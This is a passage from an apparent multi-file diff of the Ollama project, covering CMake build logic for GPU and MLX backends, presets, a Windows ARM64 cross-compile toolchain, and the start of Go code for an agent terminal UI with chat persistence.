set(OLLAMA_GO_LDFLAGS
"-s -w -X=github.com/ollama/ollama/version.Version=${OLLAMA_VERSION} -X=github.com/ollama/ollama/server.mode=release")
if(GO_EXECUTABLE)
add_custom_target(ollama-go ALL
COMMAND ${CMAKE_COMMAND} -E make_directory "${OLLAMA_GO_OUTPUT_DIR}"
COMMAND ${CMAKE_COMMAND} -E env CGO_ENABLED=1
${GO_EXECUTABLE} build -trimpath -ldflags "${OLLAMA_GO_LDFLAGS}" -o "${OLLAMA_GO_OUTPUT}" .
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
BYPRODUCTS ${OLLAMA_GO_OUTPUT}
COMMENT "Building Ollama Go binary"
VERBATIM)
else()
add_custom_target(ollama-go ALL
COMMAND ${CMAKE_COMMAND} -E echo
"Go executable not found. Install Go or set GO_EXECUTABLE to build the local Ollama binary."
COMMAND ${CMAKE_COMMAND} -E false
COMMENT "Building Ollama Go binary"
VERBATIM)
endif()
set(_cpu_args)
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
list(APPEND _cpu_args
-DBUILD_SHARED_LIBS=OFF
-DGGML_BACKEND_DL=OFF
-DGGML_METAL=ON
-DGGML_METAL_EMBED_LIBRARY=ON)
else()
list(APPEND _cpu_args
-DBUILD_SHARED_LIBS=ON
-DGGML_BACKEND_DL=ON
-DGGML_CPU_ALL_VARIANTS=ON)
if(WIN32)
list(APPEND _cpu_args -DGGML_OPENMP=ON)
endif()
if(APPLE)
list(APPEND _cpu_args -DGGML_METAL=OFF)
endif()
endif()
ollama_add_llama_server_build(local
RUNNER_DIR ""
TARGETS llama-server llama-quantize
CMAKE_ARGS ${_cpu_args})
add_custom_target(ollama-local ALL
DEPENDS ollama-go ollama-llama-server-local
COMMENT "Building local Ollama payload")
install(PROGRAMS "${OLLAMA_GO_OUTPUT}"
DESTINATION "${CMAKE_INSTALL_BINDIR}"
COMPONENT ollama-local)
endif()
set(_backend_targets)
if(OLLAMA_HAVE_LLAMA_SERVER)
foreach(_backend IN LISTS OLLAMA_LLAMA_BACKENDS)
if(_backend STREQUAL "cuda_v12")
ollama_llama_cuda_preset(${_backend} _cuda_preset)
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "cuda_v13")
ollama_llama_cuda_preset(${_backend} _cuda_preset)
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "rocm_v7_1" OR _backend STREQUAL "rocm_v7_2")
# ROCm 7.1 and 7.2 currently share build settings. Keep the backend
# names versioned so future packaging can install side-by-side ROCm
# payloads without changing the superbuild interface.
ollama_rocm_preset(${_backend} _rocm_preset)
set(_rocm_args
-DBUILD_SHARED_LIBS=ON
-DGGML_BACKEND_DL=ON
-DGGML_HIP=ON
-DCMAKE_HIP_PLATFORM=amd
-DOLLAMA_GPU_BACKEND=hip)
ollama_append_cache_arg_if_set(_rocm_args AMDGPU_TARGETS)
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_ARCHITECTURES)
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_FLAGS)
ollama_append_cache_arg_if_set(_rocm_args GGML_CUDA_NO_PEER_COPY)
ollama_append_cache_arg_if_set(_rocm_args CMAKE_PREFIX_PATH)
ollama_add_llama_server_build(${_backend}
PRESET ${_rocm_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-hip
CMAKE_ARGS ${_rocm_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "vulkan")
ollama_add_llama_server_build(vulkan
RUNNER_DIR vulkan
TARGETS ggml-vulkan
CMAKE_ARGS
-DBUILD_SHARED_LIBS=ON
-DGGML_BACKEND_DL=ON
-DGGML_VULKAN=ON
-DOLLAMA_GPU_BACKEND=vulkan)
list(APPEND _backend_targets ollama-llama-server-vulkan)
elseif(_backend STREQUAL "cuda_jetpack5")
if(CMAKE_CUDA_ARCHITECTURES)
set(_cuda_preset llama_cuda_jetpack5_user_arch)
else()
set(_cuda_preset llama_cuda_jetpack5)
endif()
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "cuda_jetpack6")
if(CMAKE_CUDA_ARCHITECTURES)
set(_cuda_preset llama_cuda_jetpack6_user_arch)
else()
set(_cuda_preset llama_cuda_jetpack6)
endif()
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
else()
message(FATAL_ERROR
"Unknown OLLAMA_LLAMA_BACKENDS entry '${_backend}'")
endif()
endforeach()
endif()
if(_backend_targets)
add_custom_target(ollama-llama-server-backends ALL
DEPENDS ${_backend_targets}
COMMENT "Building llama-server GPU backends")
endif()
set(_mlx_targets)
foreach(_backend IN LISTS OLLAMA_MLX_BACKENDS)
if(_backend STREQUAL "cuda_v13")
ollama_mlx_cuda_preset(_mlx_cuda_preset)
set(_mlx_cuda_args)
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_mlx_cuda_args MLX_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_mlx_build(cuda_v13
PRESET ${_mlx_cuda_preset}
RUNNER_DIR mlx_cuda_v13
CMAKE_ARGS ${_mlx_cuda_args})
list(APPEND _mlx_targets ollama-mlx-cuda_v13)
elseif(_backend STREQUAL "metal_v3")
if(NOT APPLE)
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v3 is only supported on macOS")
endif()
ollama_check_metal_toolchain(_metal_version)
ollama_add_mlx_build(metal_v3
PRESET mlx_metal_v3
RUNNER_DIR mlx_metal_v3)
list(APPEND _mlx_targets ollama-mlx-metal_v3)
elseif(_backend STREQUAL "metal_v4")
if(NOT APPLE)
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v4 is only supported on macOS")
endif()
ollama_check_metal_toolchain(_metal_version)
ollama_macos_sdk_major_version(_ollama_mlx_sdk_major)
if(_ollama_mlx_sdk_major AND _ollama_mlx_sdk_major GREATER_EQUAL 26)
ollama_add_mlx_build(metal_v4
PRESET mlx_metal_v4
RUNNER_DIR mlx_metal_v4)
list(APPEND _mlx_targets ollama-mlx-metal_v4)
else()
message(FATAL_ERROR
"OLLAMA_MLX_BACKENDS=metal_v4 requires the macOS 26 SDK. "
"Install a newer Xcode or use OLLAMA_MLX_BACKENDS=metal_v3.")
endif()
else()
message(FATAL_ERROR
"Unknown OLLAMA_MLX_BACKENDS entry '${_backend}'")
endif()
endforeach()
if(_mlx_targets)
add_custom_target(ollama-mlx-backends ALL
DEPENDS ${_mlx_targets}
COMMENT "Building MLX backends")
endif()
install(DIRECTORY "${OLLAMA_PAYLOAD_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/"
DESTINATION "${OLLAMA_LIB_DIR}"
COMPONENT ollama-local
USE_SOURCE_PERMISSIONS)
+235
View File
@@ -0,0 +1,235 @@
cmake_minimum_required(VERSION 3.24)
project(OllamaMLX C CXX)
include(CheckLanguage)
include(GNUInstallDirs)
find_package(Threads REQUIRED)
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
endif()
if(NOT DEFINED BUILD_SHARED_LIBS)
set(BUILD_SHARED_LIBS ON)
endif()
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS ON)
if(APPLE)
set(CMAKE_BUILD_RPATH "@loader_path")
set(CMAKE_INSTALL_RPATH "@loader_path")
set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
endif()
if(NOT DEFINED OLLAMA_SOURCE_DIR OR "${OLLAMA_SOURCE_DIR}" STREQUAL "")
get_filename_component(OLLAMA_SOURCE_DIR "${CMAKE_CURRENT_LIST_DIR}/../.." ABSOLUTE)
endif()
get_filename_component(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" ABSOLUTE BASE_DIR "${CMAKE_CURRENT_LIST_DIR}")
set(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" CACHE PATH "Ollama repository root")
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
set(OLLAMA_RUNNER_DIR "" CACHE STRING "Ollama runtime payload subdirectory")
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
if(MLX_CUDA_ARCHITECTURES OR CMAKE_CUDA_ARCHITECTURES)
check_language(CUDA)
endif()
option(OLLAMA_MLX_GENERATE_WRAPPERS "Regenerate MLX Go wrappers" OFF)
message(STATUS "Setting up MLX (this takes a while...)")
add_subdirectory(${OLLAMA_SOURCE_DIR}/x/imagegen/mlx ${CMAKE_BINARY_DIR}/x/imagegen/mlx)
# Find CUDA toolkit if MLX is built with CUDA support.
find_package(CUDAToolkit)
# Build list of directories for runtime dependency resolution.
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds).
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location.
if(CUDNN_ROOT_DIR)
set(_cudnn_root "${CUDNN_ROOT_DIR}")
elseif(DEFINED ENV{CUDNN_ROOT_DIR})
set(_cudnn_root "$ENV{CUDNN_ROOT_DIR}")
endif()
if(_cudnn_root)
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/).
file(GLOB CUDNN_BIN_SUBDIRS "${_cudnn_root}/bin/*")
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
endif()
# Add build output directory and MLX dependency build directories.
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/).
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
# so there is no runtime dependency. This path covers the stub build dir
# for windows so we include the DLL in our dependencies.
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
# Base regexes for runtime dependencies (cross-platform).
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer).
if(WIN32)
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
endif()
# Keep mlx/mlxc targets separate from runtime dependencies so --strip only
# applies to the binaries we build, not vendor DLLs/libs.
install(TARGETS mlx mlxc
RUNTIME_DEPENDENCY_SET mlx_runtime_deps
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
DIRECTORIES ${MLX_RUNTIME_DIRS}
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
)
if(TARGET jaccl)
install(TARGETS jaccl
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
endif()
# Install the Metal library for macOS arm64 (must be colocated with the binary).
# Metal backend is only built for arm64, not x86_64.
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Install headers for NVRTC JIT compilation at runtime.
# MLX's own install rules use the default component so they get skipped by
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
#
# Layout:
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ - CCCL headers
# ${OLLAMA_INSTALL_DIR}/include/*.h - CUDA toolkit headers
#
# MLX's jit_module.cpp resolves CCCL via
# current_binary_dir()[.parent_path()] / "include" / "cccl"
# On Linux, MLX's jit_module.cpp resolves CCCL via
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include.
# This will need refinement if we add multiple CUDA versions for MLX in the future.
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
endif()
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
# $CUDA_PATH/include/*.h via NVRTC --include-path.
if(CUDAToolkit_FOUND)
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
# (e.g. ".../include;.../include/cccl"). Find the entry that
# contains the CUDA runtime headers we need.
set(_cuda_inc "")
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
if(EXISTS "${_dir}/cuda_runtime_api.h")
set(_cuda_inc "${_dir}")
break()
endif()
endforeach()
if(NOT _cuda_inc)
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
else()
set(_dst "${OLLAMA_INSTALL_DIR}/include")
set(_MLX_JIT_CUDA_HEADERS
builtin_types.h
cooperative_groups.h
cuda_bf16.h
cuda_bf16.hpp
cuda_device_runtime_api.h
cuda_fp16.h
cuda_fp16.hpp
cuda_fp8.h
cuda_fp8.hpp
cuda_runtime_api.h
device_types.h
driver_types.h
math_constants.h
surface_types.h
texture_types.h
vector_functions.h
vector_functions.hpp
vector_types.h
)
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
install(FILES "${_cuda_inc}/${_hdr}"
DESTINATION ${_dst}
COMPONENT MLX)
endforeach()
# Subdirectory headers.
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
DESTINATION ${_dst}
COMPONENT MLX
FILES_MATCHING PATTERN "*.h")
install(FILES "${_cuda_inc}/crt/host_defines.h"
DESTINATION "${_dst}/crt"
COMPONENT MLX)
if(NOT WIN32 AND NOT APPLE)
install(CODE "
set(_link \"${CMAKE_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/include\")
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
if(NOT EXISTS \${_link})
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
endif()
" COMPONENT MLX)
endif()
endif()
endif()
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation).
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
# dlfcn-win32 is a known CMake target with its own install rules (which install
# to the wrong destination). We must install it explicitly here.
if(WIN32)
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Manually install CUDA runtime libraries that MLX loads via dlopen
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps).
if(CUDAToolkit_FOUND)
file(GLOB MLX_CUDA_LIBS
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
if(MLX_CUDA_LIBS)
install(FILES ${MLX_CUDA_LIBS}
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX_VENDOR)
endif()
endif()
+90
View File
@@ -0,0 +1,90 @@
{
"version": 3,
"configurePresets": [
{
"name": "default",
"binaryDir": "${sourceDir}/../../build/mlx",
"installDir": "${sourceDir}/../../dist",
"cacheVariables": {
"CMAKE_BUILD_TYPE": "Release",
"CMAKE_MSVC_RUNTIME_LIBRARY": "MultiThreaded",
"OLLAMA_SOURCE_DIR": "${sourceDir}/../.."
}
},
{
"name": "mlx_cuda_v13_base",
"hidden": true,
"inherits": [ "default" ],
"cacheVariables": {
"CMAKE_CUDA_FLAGS": "-t 2",
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
}
},
{
"name": "mlx_cuda_v13_linux",
"inherits": [ "mlx_cuda_v13_base" ],
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
"cacheVariables": {
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
}
},
{
"name": "mlx_cuda_v13_windows",
"inherits": [ "mlx_cuda_v13_base" ],
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
"cacheVariables": {
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
}
},
{
"name": "mlx_cuda_v13_user_arch",
"inherits": [ "mlx_cuda_v13_base" ],
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13"
},
{
"name": "mlx_metal_v3",
"inherits": [ "default" ],
"binaryDir": "${sourceDir}/../../build/metal-v3",
"cacheVariables": {
"CMAKE_OSX_DEPLOYMENT_TARGET": "14.0",
"OLLAMA_RUNNER_DIR": "mlx_metal_v3"
}
},
{
"name": "mlx_metal_v4",
"inherits": [ "default" ],
"binaryDir": "${sourceDir}/../../build/metal-v4",
"cacheVariables": {
"CMAKE_OSX_DEPLOYMENT_TARGET": "26.0",
"OLLAMA_RUNNER_DIR": "mlx_metal_v4"
}
}
],
"buildPresets": [
{
"name": "mlx_cuda_v13_linux",
"configurePreset": "mlx_cuda_v13_linux",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_cuda_v13_windows",
"configurePreset": "mlx_cuda_v13_windows",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_cuda_v13_user_arch",
"configurePreset": "mlx_cuda_v13_user_arch",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_metal_v3",
"configurePreset": "mlx_metal_v3",
"targets": [ "mlx", "mlxc" ]
},
{
"name": "mlx_metal_v4",
"configurePreset": "mlx_metal_v4",
"targets": [ "mlx", "mlxc" ]
}
]
}
+14
View File
@@ -0,0 +1,14 @@
if(NOT DEFINED MLX_C_HEADERS_DIR OR NOT IS_DIRECTORY "${MLX_C_HEADERS_DIR}")
message(FATAL_ERROR "MLX_C_HEADERS_DIR does not exist: ${MLX_C_HEADERS_DIR}")
endif()
if(NOT DEFINED MLX_C_HEADERS_DEST OR "${MLX_C_HEADERS_DEST}" STREQUAL "")
message(FATAL_ERROR "MLX_C_HEADERS_DEST is required")
endif()
file(GLOB _mlx_c_headers LIST_DIRECTORIES false "${MLX_C_HEADERS_DIR}/*.h")
if(NOT _mlx_c_headers)
message(FATAL_ERROR "No MLX-C headers found in ${MLX_C_HEADERS_DIR}")
endif()
file(MAKE_DIRECTORY "${MLX_C_HEADERS_DEST}")
file(COPY ${_mlx_c_headers} DESTINATION "${MLX_C_HEADERS_DEST}")
+69
View File
@@ -0,0 +1,69 @@
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_SYSTEM_PROCESSOR ARM64)
set(_ollama_llvm_mingw_hints)
if(DEFINED ENV{ProgramFiles})
file(GLOB _ollama_program_files_llvm_mingw_bins
LIST_DIRECTORIES true
"$ENV{ProgramFiles}/llvm-mingw-*-x86_64*/bin")
list(SORT _ollama_program_files_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
list(APPEND _ollama_llvm_mingw_hints ${_ollama_program_files_llvm_mingw_bins})
endif()
if(DEFINED ENV{LOCALAPPDATA})
file(GLOB _ollama_winget_llvm_mingw_bins
LIST_DIRECTORIES true
"$ENV{LOCALAPPDATA}/Microsoft/WinGet/Packages/MartinStorsjo.LLVM-MinGW*/llvm-mingw-*-x86_64*/bin")
list(SORT _ollama_winget_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
list(APPEND _ollama_llvm_mingw_hints ${_ollama_winget_llvm_mingw_bins})
endif()
if(NOT CMAKE_C_COMPILER)
find_program(CMAKE_C_COMPILER
NAMES aarch64-w64-mingw32-gcc
HINTS ${_ollama_llvm_mingw_hints}
REQUIRED)
endif()
if(NOT CMAKE_CXX_COMPILER)
find_program(CMAKE_CXX_COMPILER
NAMES aarch64-w64-mingw32-g++
HINTS ${_ollama_llvm_mingw_hints}
REQUIRED)
endif()
get_filename_component(_ollama_llvm_mingw_bin_dir "${CMAKE_CXX_COMPILER}" DIRECTORY)
if(NOT HOST_CXX_COMPILER)
find_program(_ollama_path_host_cxx
NAMES clang++ g++
NO_CMAKE_FIND_ROOT_PATH)
if(_ollama_path_host_cxx)
set(HOST_CXX_COMPILER "${_ollama_path_host_cxx}")
endif()
endif()
if(NOT HOST_CXX_COMPILER)
find_program(_ollama_mingw_host_cxx
NAMES x86_64-w64-mingw32-g++
HINTS "${_ollama_llvm_mingw_bin_dir}"
REQUIRED)
if(CMAKE_HOST_WIN32)
# llama.cpp builds a small host-only UI embedding tool during
# cross-compiles, but currently models HOST_CXX_COMPILER as only an
# executable path and has no companion host flags hook. When the host
# compiler is llvm-mingw, the generated host tool otherwise depends on
# llvm-mingw runtime DLLs being on PATH. Keep that workaround local and
# explicit: wrap the compiler only to add -static for this host tool.
set(_ollama_host_cxx_wrapper "${CMAKE_BINARY_DIR}/ollama-host-cxx.cmd")
file(TO_NATIVE_PATH "${_ollama_mingw_host_cxx}" _ollama_mingw_host_cxx_native)
file(WRITE "${_ollama_host_cxx_wrapper}"
"@echo off\r\n"
"\"${_ollama_mingw_host_cxx_native}\" -static %*\r\n")
set(HOST_CXX_COMPILER "${_ollama_host_cxx_wrapper}")
else()
set(HOST_CXX_COMPILER "${_ollama_mingw_host_cxx}")
endif()
endif()
set(HOST_CXX_COMPILER "${HOST_CXX_COMPILER}" CACHE FILEPATH "Host C++ compiler for build-time tools" FORCE)
string(PREPEND CMAKE_C_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
string(PREPEND CMAKE_CXX_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
+673
View File
@@ -0,0 +1,673 @@
package cmd
import (
"context"
"database/sql"
"errors"
"fmt"
"net/http"
"os"
"os/signal"
"slices"
"strconv"
"strings"
"syscall"
"time"
"github.com/google/uuid"
"github.com/spf13/cobra"
coreagent "github.com/ollama/ollama/agent"
"github.com/ollama/ollama/agent/chatstore"
"github.com/ollama/ollama/agent/skills"
agenttools "github.com/ollama/ollama/agent/tools"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/config"
"github.com/ollama/ollama/cmd/tui"
"github.com/ollama/ollama/format"
internalcloud "github.com/ollama/ollama/internal/cloud"
"github.com/ollama/ollama/internal/modelref"
"github.com/ollama/ollama/types/model"
)
type AgentTUIOptions struct {
Model string
Prompt string
LoadedMessages []api.Message
Messages []api.Message
Images []api.ImageData
WordWrap bool
Format string
Options map[string]any
Think *api.ThinkValue
HideThinking bool
KeepAlive *api.Duration
ContextWindowTokens int
Resume bool
AutoApproveTools bool
Verbose bool
MultiModal bool
Skill string
Skills *skills.Catalog
}
func agentOptionsFromRunOptions(opts runOptions) AgentTUIOptions {
return AgentTUIOptions{
Model: opts.Model,
Prompt: opts.Prompt,
LoadedMessages: opts.LoadedMessages,
Messages: opts.Messages,
Images: opts.Images,
WordWrap: opts.WordWrap,
Format: opts.Format,
Options: opts.Options,
Think: opts.Think,
HideThinking: opts.HideThinking,
KeepAlive: opts.KeepAlive,
ContextWindowTokens: opts.ContextWindowTokens,
Resume: opts.Resume,
AutoApproveTools: opts.AutoApproveTools,
Verbose: opts.Verbose,
MultiModal: opts.MultiModal,
}
}
type agentRunSetup struct {
opts AgentTUIOptions
client *api.Client
cwd string
store *chatstore.Store
newChatID func(context.Context) (string, error)
chatID string
messages []api.Message
skills *skills.Catalog
registry *coreagent.Registry
approval coreagent.ApprovalHandler
}
func (s *agentRunSetup) close() {
if s != nil && s.store != nil {
_ = s.store.Close()
s.store = nil
}
}
func newAgentRunSetup(cmd *cobra.Command, opts AgentTUIOptions, resumeLatestWithoutModel bool) (*agentRunSetup, error) {
client, err := api.ClientFromEnvironment()
if err != nil {
return nil, err
}
cwd, err := os.Getwd()
if err != nil {
cwd = ""
}
var store *chatstore.Store
if openedStore, err := chatstore.New(""); err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m chat persistence unavailable: %v\n", err)
} else {
store = openedStore
}
newChatID := func(ctx context.Context) (string, error) {
u, err := uuid.NewV7()
if err != nil {
u = uuid.Must(uuid.NewRandom())
}
chatID := u.String()
if store != nil {
if err := store.EnsureChat(ctx, chatID, ""); err != nil {
return "", err
}
}
return chatID, nil
}
chatID := ""
var resumedMessages []api.Message
if opts.Resume {
if store == nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m chat resume unavailable: persistence is disabled\n")
} else {
chat, err := resumeAgentChat(cmd.Context(), store, opts.Model, resumeLatestWithoutModel)
if err == nil {
chatID = chat.ID
if opts.Model == "" {
opts.Model = chat.Model
}
resumedMessages = chat.Messages
} else if errors.Is(err, sql.ErrNoRows) {
if resumeLatestWithoutModel && opts.Model == "" {
if store != nil {
_ = store.Close()
}
return nil, errors.New("no saved chat to resume; pass a model to start a new chat")
}
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m no saved chat for %s; starting a new chat\n", opts.Model)
} else if resumeLatestWithoutModel {
if store != nil {
_ = store.Close()
}
return nil, fmt.Errorf("could not resume chat: %w", err)
} else {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not resume chat: %v\n", err)
}
}
}
if strings.TrimSpace(opts.Model) == "" {
if store != nil {
_ = store.Close()
}
return nil, errors.New("model is required")
}
if chatID == "" {
var err error
chatID, err = newChatID(cmd.Context())
if err != nil {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not create persistent chat: %v\n", err)
if store != nil {
_ = store.Close()
}
store = nil
chatID, _ = newChatID(cmd.Context())
}
}
if store != nil {
if err := store.SetChatModel(cmd.Context(), chatID, opts.Model); err != nil {
_ = store.Close()
return nil, err
}
}
skillCatalog := opts.Skills
if skillCatalog == nil {
skillCatalog = loadAgentSkills()
}
registry := agentToolsRegistry(cmd.Context(), client, opts.Model, skillCatalog)
